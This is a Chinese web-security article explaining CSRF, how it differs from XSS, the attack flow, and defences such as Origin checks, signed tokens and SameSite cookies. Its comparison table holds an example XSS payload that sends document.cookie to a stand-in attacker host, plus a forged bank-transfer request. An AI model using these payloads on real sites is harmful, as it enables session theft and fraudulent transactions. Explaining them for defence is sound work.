您当前的位置:首页 > 电脑百科 > 安全防护 > 服务器/网站

Web安全之CSRF及防护方法

时间:2023-01-15 16:21:22  来源:51CTO  作者:
因为现代浏览器的工作机制原因,造成一种WEB攻击形式的存在,这种攻击形式叫做CSRF攻击,是一种对网站的恶意利用,是挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

Part 01

● 什么是CSRF ● 

CSRF(Cross-site request forgery)简称:跨站请求伪造,跟XSS攻击一样,存在巨大的危害性。在CSRF的攻击场景中,攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了,所以CSRF攻击也称为one-click attack。

Part 02

●  CSRF与XSS的区别 ● 

与XSS相比,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

从漏洞存在的位置上(CSRF存在于所有请求-响应模式的功能上,XSS存在于将用户输入回显前端web页面的位置上);从攻击效果上(CSRF主要是执行网站自身已有功能,XSS主要是用于获取Cookie)。

攻击类型

攻击示例

说明

CSRF

​http://www.hack.com/csrf_page(页面中含src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“)​

发送的请求是hack网站的页面,目标是bank网站页面

XSS

​http://www.bank.com/xss_page?xss_parameter='><script>document.location='http://www.hack.com/save_cookie?cookie='+document.cookie</script>'​

发送的请求是bank网站的页面,目标是hack网站页面

 

Part 03

●  CSRF攻击原理 ● 

HTTP是无状态协议,服务器只能根据当前请求的参数(包括Head和Body的数据)来判断本次请求需要达到的目的(Get或者Post都一样),服务器并不知道这个请求之前干了什么事,这就是无状态协议。

但是我们现实很多情况需要有状态,比如登录态的身份信息,网页上很多操作需要登录之后才能操作。目前的解决方案是每次HTTP请求都把登录态信息传给后台服务器,后台通过登录态信息是判断用户合法性之后再处理这个请求要处理的操作。

如何让每次HTTP请求都带上登录态信息,所以就出现了Cookie。登录态Cookie是浏览器默认自动携带的,我们在浏览器上发送HTTP请求的时候,浏览器会把该域名下的Cookie带上,一并发送到服务器。那么问题就来了,浏览器不管当前发送请求的是哪个网站,在哪个页面上发送的请求,只要你请求的域名在浏览器里保存有Cookie信息,浏览器都会一并带上。

所以只要用户C曾经登录过网站A,在没有关闭浏览器的情况下打开一个黑客网页B,黑客页面发送HTTP请求到网站A的后台,会默认带上网站A的登录态Cookie,也就能模拟用户C做一些增删改等敏感操作。这就是CSRF攻击原理。

Part 04

  CSRF攻击过程  

 

图片

(1) 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;

(2) 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;

(3) 用户未退出网站A之前,在同一浏览器中,打开一个标签页访问危险网站B;

(4) 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;

(5) 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。

(6) 网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

我们可以这样理解:

攻击者盗用了用户C的身份,以用户C的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者期望的操作,比如以用户C的名义发送邮件,甚至于购买商品、虚拟货币转账等。

Part 05

●  CSRF防护方法 ● 

 

1、验证HTTP请求头

HTTP请求头会默认带上Referer字段和Origin字段,Referer记录了该请求的来源地址,Origin记录请求来源域名。通过我们通过判断这2个字段的值,可以确认该请求是否来自安全站点,以此来阻止第三方恶意请求。

由于Referer值会记录用户的访问来源地址,有些用户认为这样会侵犯到自己的隐私,特别是有些组织担心Referer值会把内网中的某些信息泄露到外网中。 因此,用户自己可以设置浏览器在发送请求时不再提供Referer。当他们正常访问银行网站时,网站会因为请求没有Referer值而认为是CSRF攻击,拒绝合法用户的访问。因此推荐使用Origin校验。

2、Token机制

CSRF防护的一个重点是对“用户凭证Token”进行校验,通过这种机制可以对用户的请求进行合法性判断,判断是不是跨站攻击的行为。我们在Token中加入随机字符串和过期时间戳,对其进行有效期管理,并加上签名校验。如果的凭证被人盗用了,先判断Token中的“签名”与时间戳是否都有效,再进行正常的业务处理,这样通过对非法数据的校验过滤,来降低CSRF攻击的成功率。

Token由三部分组成:

(1) 消息[msg]:消息本身由两部分组成:随机字符串和过期时间戳。

(2) 分割符[separator]:用于分隔msg与加密后生成的signature签名,这里用的是”;“。

(3) 签名[signature]:签名是对“msg”用特定算法进行加密后的字符串。

当用户向服务发送请求时,服务器需要先进行分解,得到msg部分和signature签名部分,比对签名和判断token是否过期,一旦传向请求中携带的Token校验异常,就可以判定是可疑行为,不做处理。

3. 在请求头中自定义属性并验证

这种方法也是使用token并进行验证,不同的是,这里不是把token以参数的形式置于HTTP请求之中,而是把它放到请求头中自定义的属性里。通过XMLHttpRequest请求封装,可以一次性给所有请求加上csrftoken这个自定义属性,并把token值放入其中。同时,通过XHR请求的地址不会被记录到浏览器的地址栏,也不用担心token会透过Referer泄露到其他网站去。

然而这种方法的局限性非常大。XHR请求通常用于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而不能进行前进、后退、刷新等操作,给用户带来不便。

4. Cookie的SameSite属性

CSRF攻击就是利用了cookie中携带的用户信息,想要防护Cookie不被第三方网站利用,我们可以通过设置Samesite属性。SameSite最初设计的目的就是防CSRF,SameSite有三个值Strict/Lax/None。

(1) Strict最为严格。如果SameSite的值是Strict,那么浏览器会完全禁止第三方。

(2) Lax相对宽松一点。在跨站点的情况下,从第三方站点的链接打开和从第三方站点提交Get方式的表单这两种方式都会携带Cookie。但如果在第三方站点中使用Post方法,或者通过img、iframe等标签加载的URL,这些场景都不会携带 Cookie。

(3) 而如果使用None的话,在任何情况下都会发送Cookie数据。

​对于防范CSRF攻击,我们可以针对实际情况将一些关键的Cookie设置为Strict或者Lax模式,这样在跨站点请求时,这些关键的Cookie就不会被发送到服务器,从而使得黑客的CSRF攻击失效。

以上是技术层面的防护方法,常用的是验证HTTP请求头和Token机制。实际Web应用是使用WAF(Web应用防火墙,如免费的ShareWAF)。因为CSRF只是众多Web攻击中的一种,WAF可以低于绝大多数的攻击,极大的提高网站安全性。

 

参考文献

[1]陈振. CSRF攻击的原理解析与对策研究[J]

[2]https://blog.csdn.NET/stpeace/article/detAIls/53512283



Tags:Web安全   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
七个优秀开源免费Web安全漏洞扫描工具
Web安全漏洞扫描技术是一种用于检测Web应用中潜在的漏洞或者安全风险的自动化测试技术。Web安全扫描工具可以模拟黑客行为,检测常见的漏洞,例如:Sql注入、XSS、文件上传、目录...【详细内容】
2023-11-17  Search: Web安全  点击:(233)  评论:(0)  加入收藏
不可不知的Web安全指南
Web 已成为备受瞩目的攻击媒介,而 Web 安全对于确保企业的业务安全至关重要。如今黑客行为是一个公认的行业,而犯罪企业比以往任何时候都更加复杂且联系更加紧密。攻击一直在...【详细内容】
2023-09-18  Search: Web安全  点击:(245)  评论:(0)  加入收藏
Web安全之CSRF及防护方法
因为现代浏览器的工作机制原因,造成一种WEB攻击形式的存在,这种攻击形式叫做CSRF攻击,是一种对网站的恶意利用,是挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方...【详细内容】
2023-01-15  Search: Web安全  点击:(295)  评论:(0)  加入收藏
网络安全 kali web安全「渗透测试」目录遍历漏洞
许多的Web应用程序一般会有对服务器的文件读取查看的功能,大多会用到提交的参数来指明文件名 形如: http://www.nuanyue.com/getfile=image.jgp当服务器处理传送过来的image.j...【详细内容】
2022-03-15  Search: Web安全  点击:(323)  评论:(0)  加入收藏
为强力解决XSS跨站点脚本攻击,原生WEB安全API终于出现了
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  Search: Web安全  点击:(343)  评论:(0)  加入收藏
Web安全之URL跳转漏洞
一、概述服务端未对传入的跳转url变量进行检查和控制,可导致恶意用户构造一个恶意地址,诱导用户跳转到恶意网站。跳转漏洞一般用于钓鱼攻击,通过跳转到恶意网站欺骗用户输入用...【详细内容】
2021-06-24  Search: Web安全  点击:(613)  评论:(0)  加入收藏
2020年二季度Web安全工具TOP5
本文汇总了2020年第二季度全球发布的最新Web安全工具。由于新冠疫情肆虐,2020年的DEF CON黑客大会已经转移到线上,但是网络安全爱好者有望在8月初线上会议期间看到大量新的黑...【详细内容】
2020-07-11  Search: Web安全  点击:(517)  评论:(0)  加入收藏
Web安全防范知识基础讲解
SQL注入攻击#!/usr/bin/env python# -*- coding: utf-8 -*-from flask import Flask,requestimport pymysqlapp = Flask(__name__)"""SQL语句注入 在编写SQL语句时,如果...【详细内容】
2020-06-09  Search: Web安全  点击:(335)  评论:(0)  加入收藏
常见web安全问题,SQL注入、XSS、CSRF,基本原理以及如何防御
1.SQL注入原理:1).SQL命令可查询、插入、更新、删除等,命令的串接。而以分号字元为不同命 令的区别。(原本的作用是用于SubQuery或作为查询、插入、更新、删除&hellip;&hell...【详细内容】
2020-05-06  Search: Web安全  点击:(291)  评论:(0)  加入收藏
10分钟浅谈CSRF突破原理,Web安全的第一防线
CSRF攻击即跨站请求伪造(跨站点请求伪造),是一种对网站的恶意利用,听起来似乎与XSS跨站脚本攻击有点相似,但实际上彼此相差很大,XSS利用的是站点内的信任用户,而CSRF则是通过伪装...【详细内容】
2019-12-20  Search: Web安全  点击:(417)  评论:(0)  加入收藏
▌简易百科推荐
企业网站被攻击主要表现在哪些方面?
建企业网站只是功能实现,如果网站代码不够严谨有漏洞,再漂亮的网站也只是摆设,潜在风险害人害己。所以在建网站之初就一定要考虑好这个问题,如果系统建设不是强项可以选择一套主...【详细内容】
2023-12-18  三七一网络    Tags:网站   点击:(87)  评论:(0)  加入收藏
网站频繁被劫持怎么办?
域名劫持是互联网攻击的一种方式,通过攻击域名解析服务器(DNS),或伪造域名解析服务器(DNS)的方法,把目标网站域名解析到错误的IP地址从而实现用户无法访问目标网站的目的或者蓄意或...【详细内容】
2023-12-07  帝恩思DNS    Tags:被劫持   点击:(183)  评论:(0)  加入收藏
不可不知的Web安全指南
Web 已成为备受瞩目的攻击媒介,而 Web 安全对于确保企业的业务安全至关重要。如今黑客行为是一个公认的行业,而犯罪企业比以往任何时候都更加复杂且联系更加紧密。攻击一直在...【详细内容】
2023-09-18  云尖软件    Tags:Web安全   点击:(245)  评论:(0)  加入收藏
电商网站应对CC攻击的四大利器!
CC攻击是DDOS(分布式拒绝攻击)攻击的一种恶意手段,其原理是通过代理服务器或肉鸡向受害主机不断发起大量数据包,使目标服务器资源耗尽,导致其崩溃宕机。其特点在于使用真实且分散...【详细内容】
2023-07-19  诺必达云服务    Tags:CC攻击   点击:(205)  评论:(0)  加入收藏
你知道什么是堡垒机吗
在当今数字化时代,网络安全对于企业和组织来说至关重要。为了保护敏感数据和系统免受未经授权的访问和攻击,堡垒机成为一种必备工具。本文将介绍什么是堡垒机、其工作原理以及...【详细内容】
2023-07-14  职场小达人欢晓    Tags:堡垒机   点击:(144)  评论:(0)  加入收藏
如何防止黑客入侵服务器 预防黑客入侵有效方法
随着网络科技发展迅速,网络黑客手段越来越高明,不少人曾遭遇服务器被黑出现版本被盗,文件丢失,到那时候再补救就为时已晚了,那么平时如何防止黑客入侵服务器呢?一、采用NTFS文件系...【详细内容】
2023-05-25  芳芳分享汇    Tags:黑客入侵   点击:(304)  评论:(0)  加入收藏
我的网站被黑了,该如何排除漏洞并修复安全问题
随着时代的发展网站使用的频率是逐步增加。然而,随着互联网技术的不断进步,网站安全问题也引起了广泛关注。其中,最严重的问题是网站被黑客攻击。那么,何谓网站被黑?它可能会给企...【详细内容】
2023-05-18  Sinesafe网站安全    Tags:网站被黑   点击:(306)  评论:(0)  加入收藏
保护服务器机房物理安全的五种优秀实践
服务器机房是数字企业的心脏。无论是企业家还是经验丰富的IT专业人员,都知道服务器机房的安全性至关重要。如果没有采用适当的物理安全措施,其服务器很容易受到盗窃、人为破坏...【详细内容】
2023-05-17    企业网D1Net  Tags:服务器   点击:(289)  评论:(0)  加入收藏
CMS身份验证,保护您的网站!
在当今数字时代,网站安全至关重要。CMS是许多网站使用的内容管理系统,它们有助于管理和维护网站的内容。然而,CMS也是黑客攻击的常见目标,因此保护CMS非常重要。其中一个关键步...【详细内容】
2023-05-16  芳芳聊日常    Tags:身份验证   点击:(297)  评论:(0)  加入收藏
Linux系统服务器如何防止端口攻击?
端口攻击是指攻击者利用开放的端口来进入服务器、读取敏感信息和进行其他恶意行为。要防止 Linux 服务器的端口攻击,可以采取以下措施:1.配置防火墙:防火墙可以过滤非法流量,保...【详细内容】
2023-05-12  汽车车门的养护    Tags:端口攻击   点击:(352)  评论:(0)  加入收藏
站内最新
站内热门
站内头条